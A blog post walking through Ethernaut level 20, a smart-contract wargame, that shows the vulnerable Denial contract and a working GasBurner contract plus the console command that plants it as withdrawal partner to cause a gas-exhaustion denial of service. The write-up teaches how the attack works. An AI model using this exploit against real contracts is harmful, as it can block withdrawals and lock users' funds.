DEV Community

Cover image for Ethernaut Hacks Level 20: Denial
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 20: Denial

This is the level 20 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

player has to plant a denial of service attack such that owner is unable to withdraw funds through withdraw method.

This contract's vulnerability comes from the withdraw method which does not mitigate against possible attack through execution of some unknown external contract code through call method. call did not set a gas limit that external call can use.

The call method here can invoke the receive method of a malicious contract at partner address. And this is where we're going to eat up all gas so that withdraw function reverts with out of gas exception.

Since writing to storage is one of the most expensive operations, I will chose it for exhausting the gas in the malicious GasBurner:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GasBurner {
    uint256 n;

    function burn() internal {
        while (gasleft() > 0) {
            n += 1;
        }
    }

    receive() external payable {
        burn();
    }
}
Enter fullscreen mode Exit fullscreen mode

Deploy GasBurner on Remix and copy it's address.

Now, set the partner in Denial:

await contract.setWithdrawPartner('<gas-burner-address>')
Enter fullscreen mode Exit fullscreen mode

The GasBurner has been planted! withdraw would now revert on invocation.

Fin.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (0)